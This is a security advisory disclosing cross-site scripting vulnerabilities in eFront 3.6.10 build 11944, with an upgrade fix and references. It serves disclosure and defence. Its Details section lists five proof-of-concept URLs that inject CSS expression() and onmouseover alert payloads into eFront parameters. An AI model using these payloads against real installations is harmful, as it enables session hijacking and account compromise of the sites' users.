eFront 3.6.10 Build 11944 Cross Site Scripting

`Information  
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Name : XSS Vulnerabilities in eFront  
Software : eFront 3.6.10 build 11944 and possibly below.  
Vendor Homepage : http://efrontlearning.net/  
Vulnerability Type : Cross-Site Scripting  
Severity : High  
Researcher : Canberk Bolat  
Advisory Reference : NS-11-007  
  
Description  
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eFront is a modern learning system, bundled with key enterprise  
functionality ranging from skill-gap analysis and branch management to  
tailor-made reports. We have worked with hundreds of organizations to  
shape a product that is easy-to-use, feature rich and especially  
suited for medium enterprises.  
  
Details  
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eFront is affected by XSS vulnerabilities in version 3.6.10 build 11944.  
Example PoC urls are as follows :  
  
http://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard  
http://example.com/administrator.php?ctg=personal&user='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&op=dashboard  
http://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22  
http://example.com/index.php?ctg=lesson_info&lessons_ID=2&course='%20stYle='x:expre/**/ssion(alert(9))  
http://example.com/index.php/%22%20onmouseover=%22alert(netsparker(9))  
  
You can read the full article about Cross-Site Scripting  
vulnerabilities from here :  
http://www.mavitunasecurity.com/crosssite-scripting-xss/  
  
Solution  
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Upgrade to the latest eFront version (3.6.10 build 12151).  
  
Credits  
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It has been discovered on testing of Netsparker, Web Application  
Security Scanner - http://www.mavitunasecurity.com/netsparker/.  
  
References  
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Vendor Url : http://forum.efrontlearning.net/viewtopic.php?f=15&t=3501  
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/  
MSL Advisory Link : http://www.mavitunasecurity.com/XSS-Vulnerability-in-eFront/  
  
About Netsparker  
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Netsparker® can find and report security issues such as SQL Injection  
and Cross-site Scripting (XSS) in all web applications regardless of  
the platform and the technology they are built on. Netsparker's unique  
detection and exploitation techniques allows it to be dead accurate in  
reporting hence it's the first and the only False Positive Free web  
application security scanner.  
  
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Netsparker Advisories, <[email protected]>  
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/  
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